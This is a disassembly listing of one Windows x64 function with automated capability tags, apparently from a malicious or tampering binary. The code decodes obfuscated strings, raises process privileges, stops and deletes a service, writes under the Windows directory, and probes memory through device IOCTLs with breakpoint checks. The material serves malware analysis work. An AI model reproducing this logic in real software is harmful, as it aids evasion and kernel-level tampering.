Function at 0x14021bdb0
Capabilities:
Check for software breakpoints
Delete service
Encode data using xor
Get common file path
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov byte [rsp + 0x20], r9b
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
xor eax, eax
mov dword [rsp + 0x50], 0x99b980bd
xor r14d, r14d
mov dword [rsp + 0x54], 0x88bd9c96
mov r12, rdx
mov dword [rsp + 0x58], 0x8c988a92
mov edx, r14d
mov byte [rsp + 0x5c], al
mov rbx, r8
mov r13, rcx
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 0xc
jb 0x14021be10
mov byte [rsp + 0x5c], r14b
mov edx, r14d
mov dword [rsp + 0x40], 0x9a91809d
mov dword [rsp + 0x44], 0x969dd69b
mov word [rsp + 0x48], 0x97
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021be50
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x49], r14b
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [rsp + 0x50], 0x98a080bd
mov edx, r14d
mov qword [0x140548d68], rax
xor eax, eax
mov byte [rsp + 0x5e], al
mov dword [rsp + 0x54], 0x9e98979b
mov dword [rsp + 0x58], 0x88948ebf
mov word [rsp + 0x5c], 0x729a
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 0xe
jb 0x14021bec0
mov byte [rsp + 0x5e], r14b
mov edx, r14d
mov dword [rsp + 0x40], 0x9a91809d
mov dword [rsp + 0x44], 0x969dd69b
mov word [rsp + 0x48], 0x97
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021bf00
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x49], r14b
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rsp + 0x50]
call qword [sym.imp.kernel32.dll_GetProcAddress]
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x6160686a
movups xmmword [rsp + 0x40], xmm0
mov edx, r14d
mov qword [0x140548b18], rax
movdqa xmm0, xmmword [0x1404d0200]
mov eax, 1
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x40], eax
mov word [rsp + 0x74], 0x62
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 0x15
jb 0x14021bf70
lea r8, [rsp + 0x44]
mov byte [rsp + 0x75], r14b
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
lea r8, [rsp + 0x50]
mov edx, 0x20
mov rcx, 0xffffffffffffffff
call qword [sym.imp.advapi32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x50]
lea r8, [rsp + 0x40]
mov r9d, 0x10
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x4c], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
xorps xmm0, xmm0
mov dword [rsp + 0x50], 0x80879094
movups xmmword [0x140548ab0], xmm0
mov word [rsp + 0x54], 0xc4
mov edx, r14d
movups xmmword [0x140548ac0], xmm0
movups xmmword [0x140548ad0], xmm0
movups xmmword [0x140548ae0], xmm0
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 5
jb 0x14021c020
mov byte [rsp + 0x55], r14b
lea rdx, [0x140548ab0]
mov rcx, r14
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x50]
mov byte [rcx + rdx], al
lea rcx, [rcx + 1]
test al, al
jne 0x14021c050
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.advapi32.dll_OpenSCManagerA]
mov dword [rsp + 0x40], 0xb090b094
mov edx, r14d
mov rsi, rax
mov dword [rsp + 0x44], 0xb080b087
mov dword [rsp + 0x48], 0xb0c4
mov r15d, 0x4f0d
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 5
jb 0x14021c0a0
mov r8d, 0xf01ff
mov word [rsp + 0x4a], r14w
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.advapi32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x14021c0fb
lea r8, [rsp + 0x60]
mov edx, 1
mov rcx, rax
call qword [sym.imp.advapi32.dll_ControlService]
mov rcx, rdi
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
mov dword [rsp + 0x40], 0xb090b094
mov edx, r14d
mov dword [rsp + 0x44], 0xb080b087
mov dword [rsp + 0x48], 0xb0c4
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 5
jb 0x14021c120
mov r8d, 0xf01ff
mov word [rsp + 0x4a], r14w
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.advapi32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x14021c171
mov rcx, rax
call qword [sym.imp.advapi32.dll_DeleteService]
mov rcx, rdi
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.advapi32.dll_CloseServiceHandle]
mov edx, r14d
mov dword [rsp + 0x50], 0x80879094
mov word [rsp + 0x54], 0xc4
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 5
jb 0x14021c190
lea rcx, [rsp + 0x50]
mov byte [rsp + 0x55], r14b
call fcn.14021aa60
xor edx, edx
lea rcx, [rbp + 0xf0]
mov r8d, 0x104
call fcn.1403ccc50
mov edx, 0x104
lea rcx, [rbp + 0xf0]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
mov edx, r14d
mov word [rbp + 0x558], 0xaf
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp + 0x558]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 1
jb 0x14021c1f0
lea rcx, [rbp + 0xf0]
mov byte [rbp + 0x559], r14b
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c220
lea r8, [rbp + 0x558]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c240
mov dword [rsp + 0x40], 0x82868da0
mov edx, r14d
mov dword [rsp + 0x44], 0xc8ca9592
mov word [rsp + 0x48], 0xa7
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021c270
lea rcx, [rbp + 0xf0]
mov byte [rsp + 0x49], r14b
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c296
lea r8, [rsp + 0x40]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c2b0
xor eax, eax
mov dword [rsp + 0x40], 0x809c8697
mov byte [rsp + 0x48], al
mov edx, r14d
mov dword [rsp + 0x44], 0xa68a8a92
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 8
jb 0x14021c2e0
lea rcx, [rbp + 0xf0]
mov byte [rsp + 0x48], r14b
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c306
lea r8, [rsp + 0x40]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c320
mov dword [rsp + 0x50], 0x80879094
mov edx, r14d
mov word [rsp + 0x54], 0xc4
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 5
jb 0x14021c350
lea rcx, [rbp + 0xf0]
mov byte [rsp + 0x55], r14b
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c376
lea r8, [rsp + 0x50]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c390
xor eax, eax
mov dword [rsp + 0x50], 0x858c87dd
mov byte [rsp + 0x54], al
mov edx, r14d
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 4
jb 0x14021c3c0
lea rcx, [rbp + 0xf0]
mov byte [rsp + 0x54], r14b
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c3e6
lea r9, [rsp + 0x50]
xor r8d, r8d
nop dword [rax + rax]
movzx eax, byte [r9 + r8]
mov byte [rcx + r8], al
lea r8, [r8 + 1]
test al, al
jne 0x14021c400
lea rcx, [rbp + 0xf0]
call fcn.140219320
xor edx, edx
lea rcx, [rbp + 0x200]
mov r8d, 0x104
call fcn.1403ccc50
mov edx, 0x104
lea rcx, [rbp + 0x200]
call qword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
mov edx, r14d
mov word [rbp + 0x558], 0xaf
nop
movsxd rax, edx
lea rcx, [rbp + 0x558]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 1
jb 0x14021c450
lea rcx, [rbp + 0x200]
mov byte [rbp + 0x559], r14b
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c480
lea r8, [rbp + 0x558]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c4a0
lea rcx, [rbp + 0x200]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c4c0
xor edx, edx
lea rsi, [0x140548ab0]
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c4e0
xor eax, eax
mov dword [rsp + 0x50], 0x858c87dd
mov byte [rsp + 0x54], al
mov edx, r14d
movsxd rax, edx
lea rcx, [rsp + 0x50]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 4
jb 0x14021c500
lea rcx, [rbp + 0x200]
mov byte [rsp + 0x54], r14b
dec rcx
cmp byte [rcx + 1], r14b
lea rcx, [rcx + 1]
jne 0x14021c526
lea r8, [rsp + 0x50]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x14021c540
lea rcx, [rbp + 0x200]
call fcn.140219320
call fcn.14021ab20
mov rcx, rsi
call fcn.14021a380
test al, al
jne 0x14021c655
xor eax, eax
mov dword [rsp + 0x60], 0xb095b0b5
mov word [rbp - 0x4c], ax
mov edx, r14d
mov dword [rsp + 0x64], 0xb09ab09c
mov dword [rsp + 0x68], 0xb09cb092
mov dword [rsp + 0x6c], 0xb08eb0d9
mov dword [rsp + 0x70], 0xb0dcb094
mov dword [rsp + 0x74], 0xb08cb09e
mov dword [rsp + 0x78], 0xb161b09a
mov dword [rsp + 0x7c], 0xb167b175
mov dword [rbp - 0x80], 0xb177b123
mov dword [rbp - 0x7c], 0xb174b160
mov dword [rbp - 0x78], 0xb161b171
mov dword [rbp - 0x74], 0xb16fb16a
mov dword [rbp - 0x70], 0xb169b12b
mov dword [rbp - 0x6c], 0xb17ab163
mov dword [rbp - 0x68], 0xb169b17d
mov dword [rbp - 0x64], 0xb132b13d
mov dword [rbp - 0x60], 0xb166b167
mov dword [rbp - 0x5c], 0xb136b16c
mov dword [rbp - 0x58], 0xb17fb176
mov dword [rbp - 0x54], 0xb173b178
mov dword [rbp - 0x50], 0xb132b175
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x2a
jb 0x14021c620
lea rdx, [rsp + 0x60]
mov word [rbp - 0x4c], r14w
xor ecx, ecx
call fcn.140219000
xor eax, eax
jmp 0x14021d405
mov rcx, rsi
call fcn.14021ad20
mov edi, eax
test eax, eax
jns 0x14021caa9
mov rcx, rsi
call fcn.14021aa60
cmp edi, 0xc0000035
jne 0x14021c87c
xor eax, eax
mov dword [rsp + 0x60], 0xb095b0b5
mov word [rbp + 0x5c], ax
mov edx, r14d
mov dword [rsp + 0x64], 0xb09ab09c
mov dword [rsp + 0x68], 0xb09cb092
mov dword [rsp + 0x6c], 0xb08eb0d9
mov dword [rsp + 0x70], 0xb0dcb094
mov dword [rsp + 0x74], 0xb08ab08e
mov dword [rsp + 0x78], 0xb172b09e
mov dword [rsp + 0x7c], 0xb122b175
mov dword [rbp - 0x80], 0xb161b170
mov dword [rbp - 0x7c], 0xb170b177
mov dword [rbp - 0x78], 0xb16bb16e
mov dword [rbp - 0x74], 0xb12ab16c
mov dword [rbp - 0x70], 0xb169b169
mov dword [rbp - 0x6c], 0xb16fb16e
mov dword [rbp - 0x68], 0xb163b17a
mov dword [rbp - 0x64], 0xb132b174
mov dword [rbp - 0x60], 0xb17ab17a
mov dword [rbp - 0x5c], 0xb162b166
mov dword [rbp - 0x58], 0xb174b176
mov dword [rbp - 0x54], 0xb17fb175
mov dword [rbp - 0x50], 0xb13cb17f
mov dword [rbp - 0x4c], 0xb17bb16b
mov dword [rbp - 0x48], 0xb144b171
mov dword [rbp - 0x44], 0xb150b14e
mov dword [rbp - 0x40], 0xb104b150
mov dword [rbp - 0x3c], 0xb149b156
mov dword [rbp - 0x38], 0xb15cb141
mov dword [rbp - 0x34], 0xb14bb15e
mov dword [rbp - 0x30], 0xb149b159
mov dword [rbp - 0x2c], 0xb106b10d
mov dword [rbp - 0x28], 0xb143b16e
mov dword [rbp - 0x24], 0xb141b144
mov dword [rbp - 0x20], 0xb173b11f
mov dword [rbp - 0x1c], 0xb151b15c
mov dword [rbp - 0x18], 0xb15ab156
mov dword [rbp - 0x14], 0xb14eb140
mov dword [rbp - 0x10], 0xb11cb15e
mov dword [rbp - 0xc], 0xb14ab158
mov dword [rbp - 8], 0xb169b15c
mov dword [rbp - 4], 0xb135b161
mov dword [rbp], 0xb12db12b
mov dword [rbp + 4], 0xb12eb126
mov dword [rbp + 8], 0xb12ab167
mov dword [rbp + 0xc], 0xb125b125
mov dword [rbp + 0x10], 0xb127b128
mov dword [rbp + 0x14], 0xb120b124
mov dword [rbp + 0x18], 0xb170b128
mov dword [rbp + 0x1c], 0xb13db126
mov dword [rbp + 0x20], 0xb13fb121
mov dword [rbp + 0x24], 0xb176b179
mov dword [rbp + 0x28], 0xb13db133
mov dword [rbp + 0x2c], 0xb13fb135
mov dword [rbp + 0x30], 0xb139b12f
mov dword [rbp + 0x34], 0xb12ab17d
mov dword [rbp + 0x38], 0xb105b137
mov dword [rbp + 0x3c], 0xb142b10c
mov dword [rbp + 0x40], 0xb10ab102
mov dword [rbp + 0x44], 0xb146b101
mov dword [rbp + 0x48], 0xb11ab113
mov dword [rbp + 0x4c], 0xb14ab110
mov dword [rbp + 0x50], 0xb10bb10a
mov dword [rbp + 0x54], 0xb107b10c
mov dword [rbp + 0x58], 0xb15eb101
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x7e
jb 0x14021c850
mov word [rbp + 0x5c], r14w
lea rdx, [rsp + 0x60]
jmp 0x14021d3c8
xor edx, edx
lea rcx, [rbp + 0x310]
mov r8d, 0x1fe
call fcn.1403ccc50
mov edx, r14d
mov dword [rsp + 0x60], 0xb095b0b5
mov dword [rsp + 0x64], 0xb09ab09c
mov dword [rsp + 0x68], 0xb09cb092
mov dword [rsp + 0x6c], 0xb08eb0d9
mov dword [rsp + 0x70], 0xb0dcb094
mov dword [rsp + 0x74], 0xb08ab08e
mov dword [rsp + 0x78], 0xb172b09e
mov dword [rsp + 0x7c], 0xb122b175
mov dword [rbp - 0x80], 0xb161b170
mov dword [rbp - 0x7c], 0xb170b177
mov dword [rbp - 0x78], 0xb16bb16e
mov dword [rbp - 0x74], 0xb124b16c
mov dword [rbp - 0x70], 0xb12b
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x19
jb 0x14021c900
lea rcx, [rbp + 0x310]
mov word [rbp - 0x6e], r14w
sub rcx, 2
nop dword [rax]
cmp word [rcx + 2], r14w
lea rcx, [rcx + 2]
jne 0x14021c930
lea r8, [rsp + 0x60]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021c950
xor eax, eax
mov dword [rsp + 0x40], 0xb0d4b0d3
mov word [rsp + 0x48], ax
mov edx, r14d
mov dword [rsp + 0x44], 0xb0d6b0d5
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 4
jb 0x14021c980
lea rax, [rsp + 0x40]
mov ecx, edi
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], rax
call fcn.1402196e0
lea rcx, [rbp + 0x310]
sub rcx, 2
nop
cmp word [rcx + 2], r14w
lea rcx, [rcx + 2]
jne 0x14021c9c0
mov r8, qword [rsp + 0x50]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
lea rdx, [rdx + 1]
test ax, ax
jne 0x14021c9e0
mov dword [rsp + 0x60], 0xb09bb0b0
mov edx, r14d
mov dword [rsp + 0x64], 0xb093b091
mov dword [rsp + 0x68], 0xb0d8b0cd
mov dword [rsp + 0x6c], 0xb0cab0d1
mov dword [rsp + 0x70], 0xb0d9b083
mov dword [rsp + 0x74], 0xb0a6b0b4
mov dword [rsp + 0x78], 0xb0d6
nop dword [rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0xd
jb 0x14021ca30
lea rdx, [rbp + 0x310]
mov word [rsp + 0x7a], r14w
sub rdx, 2
nop
cmp word [rdx + 2], r14w
lea rdx, [rdx + 2]
jne 0x14021ca60
lea r9, [rsp + 0x60]
xor r8d, r8d
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [r9 + r8*2]
mov word [rdx + r8*2], cx
lea r8, [r8 + 1]
test cx, cx
jne 0x14021ca80
mov r8d, edi
lea rdx, [rbp + 0x310]
xor ecx, ecx
call fcn.140219000
jmp 0x14021d400
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov edx, r14d
mov dword [rsp + 0x40], 0xaadba8af
mov dword [rsp + 0x44], 0xacb6b1b0
mov word [rsp + 0x48], 0xc8
nop
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021cad0
mov qword [rsp + 0x30], r14
lea rcx, [rsp + 0x40]
mov r15d, 3
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov byte [rsp + 0x49], r14b
mov edx, 0xc0000000
call qword [sym.imp.kernel32.dll_CreateFileA]
mov edx, 0x3aa00
lea rcx, [0x140509360]
mov qword [0x140548b10], rax
call fcn.1402197b0
call fcn.14019c388
mov qword [0x140548aa8], rax
lea rcx, [0x140509360]
mov edx, 0x3aa00
mov rax, qword [rax + 8]
mov qword [0x140548b08], rax
mov byte [rax + 0x2fccc], 1
add rax, 0x3eb0
mov qword [0x140548af8], rax
call fcn.1402197b0
mov edx, r14d
mov dword [rsp + 0x40], 0x80879094
mov dword [rsp + 0x44], 0x838ad6c4
mov word [rsp + 0x48], 0x88
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021cb90
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x49], r14b
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
call fcn.14013eec4
lea rcx, [rsp + 0x60]
call fcn.140219120
mov rdx, qword [rsp + 0x78]
mov rdi, rax
cmp rdx, 0x10
jb 0x14021cc18
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021cc13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14021d42c
call fcn.1403cad84
xorps xmm0, xmm0
mov qword [rsp + 0x70], r14
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x78], 0xf
lea rcx, [rdi + 0x2088]
mov byte [rsp + 0x60], r14b
movups xmmword [rsp + 0x40], xmm0
call qword [0x140548af8]
mov rdi, qword [rsp + 0x40]
xor eax, eax
mov esi, eax
nop
mov rcx, qword [0x140548b10]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
or rdi, rsi
lea rax, [rbp + 0xe0]
mov dword [rsp + 0x28], 0x10
mov r9d, 0x10
mov qword [rsp + 0x20], rax
mov edx, 0xc350200c
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], 0x1000
movups xmmword [rbp + 0xe0], xmm0
call qword [sym.imp.kernel32.dll_DeviceIoControl]
test eax, eax
je 0x14021cd1d
mov rax, qword [rbp + 0xe0]
test rax, rax
je 0x14021cd1d
movzx ecx, byte [rax]
test cl, cl
je 0x14021cd1d
cmp cl, 0xff
je 0x14021cd1d
cmp cl, 0xcc
je 0x14021cd1d
cmp dword [rax], 0x245c8948
lea r8, [rsp + 0x60]
mov ecx, 1
mov qword [rsp + 0x60], rax
movzx r14d, r14b
mov edx, 0xc3502010
cmove r14d, ecx
mov qword [rsp + 0x68], 0x1000
xor eax, eax
mov qword [rsp + 0x38], rax
lea r9d, [rcx + 0xf]
mov rcx, qword [0x140548b10]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rax
call qword [sym.imp.kernel32.dll_DeviceIoControl]
test r14b, r14b
jne 0x14021cd4d
mov rax, rsi
not rax
and rdi, rax
movabs rax, 0x100000000
add rsi, rax
movabs rax, 0xf00000000
cmp rsi, rax
ja 0x14021d25c
xor eax, eax
jmp 0x14021cc50
mov qword [0x140548b00], rdi
test rdi, rdi
je 0x14021d268
xor edx, edx
lea rcx, [0x140548b20]
mov r8d, 0x244
call fcn.1403ccc50
mov r8d, 0x244
lea rdx, [0x140548b20]
mov rcx, rdi
call fcn.140219de0
xor r14d, r14d
mov dword [rsp + 0x40], 0x80879094
mov edx, r14d
mov dword [rsp + 0x44], 0x838ad6c4
mov word [rsp + 0x48], 0x88
nop dword [rax]
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x40]
add rcx, rax
lea eax, [rdx - 0xd]
inc edx
xor byte [rcx], al
cmp edx, 9
jb 0x14021cdb0
lea rdx, [rsp + 0x40]
mov byte [rsp + 0x49], r14b
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], 0xf
call fcn.14013eec4
lea rcx, [rsp + 0x60]
call fcn.140219120
mov rdx, qword [rsp + 0x78]
mov rdi, rax
cmp rdx, 0x10
jb 0x14021ce38
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14021ce33
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14021d426
call fcn.1403cad84
lea rcx, [rdi + 0x2c54]
call fcn.140219b20
cmp qword [0x140548b10], 0xffffffffffffffff
mov qword [0x140548af0], rax
jne 0x14021cf1c
xor eax, eax
mov dword [rsp + 0x60], 0xb09ab0ba
mov word [rbp - 0x5c], ax
mov edx, r14d
mov dword [rsp + 0x64], 0xb097b083
mov r15d, 0x4f0d
mov dword [rsp + 0x68], 0xb091b09b
mov dword [rsp + 0x6c], 0xb0dab09d
mov dword [rsp + 0x70], 0xb099b088
mov dword [rsp + 0x74], 0xb088b08f
mov dword [rsp + 0x78], 0xb163b096
mov dword [rsp + 0x7c], 0xb122b164
mov dword [rbp - 0x80], 0xb165b16b
mov dword [rbp - 0x7c], 0xb162b16b
mov dword [rbp - 0x78], 0xb16db16b
mov dword [rbp - 0x74], 0xb12ab125
mov dword [rbp - 0x70], 0xb17eb17f
mov dword [rbp - 0x6c], 0xb12eb174
mov dword [rbp - 0x68], 0xb177b16e
mov dword [rbp - 0x64], 0xb17bb170
mov dword [rbp - 0x60], 0xb13ab17d
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x22
jb 0x14021cef0
mov word [rbp - 0x5c], r14w
lea rdx, [rsp + 0x60]
jmp 0x14021d3c8
test rbx, rbx
je 0x14021cf9d
lea rax, [rsp + 0x60]
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
lea rbx, [rbx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub r15, 1
jne 0x14021cf30
movzx r9d, byte [rbp + 0x560]
lea r8, [rsp + 0x60]
mov rdx, r12
mov rcx, r13
call fcn.14021b9c0
jmp 0x14021cfb0
movzx r8d, byte [rbp + 0x560]
mov rdx, r12
mov rcx, r13
call fcn.14021b810
mov ecx, 0x64
call qword [sym.imp.kernel32.dll_Sleep]
lea rsi, [0x140548ab0]
mov rcx, rsi
call fcn.14021b1a0
mov rcx, qword [0x140548b10]
mov edi, eax
call qword [sym.imp.kernel32.dll_CloseHandle]
test edi, edi
jns 0x14021d23e
mov rbx, r14
test edi, edi
jns 0x14021d23e
mov ecx, 0x3e8
call qword [sym.imp.kernel32.dll_Sleep]
mov rcx, rsi
call fcn.14021b1a0
inc rbx
mov edi, eax
cmp rbx, 0xa
jb 0x14021cfe4
test eax, eax
jns 0x14021d23e
xor edx, edx
lea rcx, [rbp + 0x310]
mov r8d, 0x1fe
call fcn.1403ccc50
xor eax, eax
mov dword [rsp + 0x60], 0xb095b0b5
mov word [rbp - 0x70], ax
mov edx, r14d
mov dword [rsp + 0x64], 0xb09ab09c
mov r15d, 0x4f0d
mov dword [rsp + 0x68], 0xb09cb092
mov dword [rsp + 0x6c], 0xb08eb0d9
mov dword [rsp + 0x70], 0xb0dcb094
mov dword [rsp + 0x74], 0xb08ab08e
mov dword [rsp + 0x78], 0xb170b090
mov dword [rsp + 0x7c], 0xb171b121
mov dword [rbp - 0x80], 0xb176b166
mov dword [rbp - 0x7c], 0xb16fb173
mov dword [rbp - 0x78], 0xb16db164
mov dword [rbp - 0x74], 0xb12ab127
movsxd rax, edx
lea rcx, [rsp + 0x60]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r15w
inc edx
xor word [rcx], ax
cmp edx, 0x18
jb 0x14021d091
lea rcx, [rbp + 0x310]
mov word [rbp - 0x70], r14w
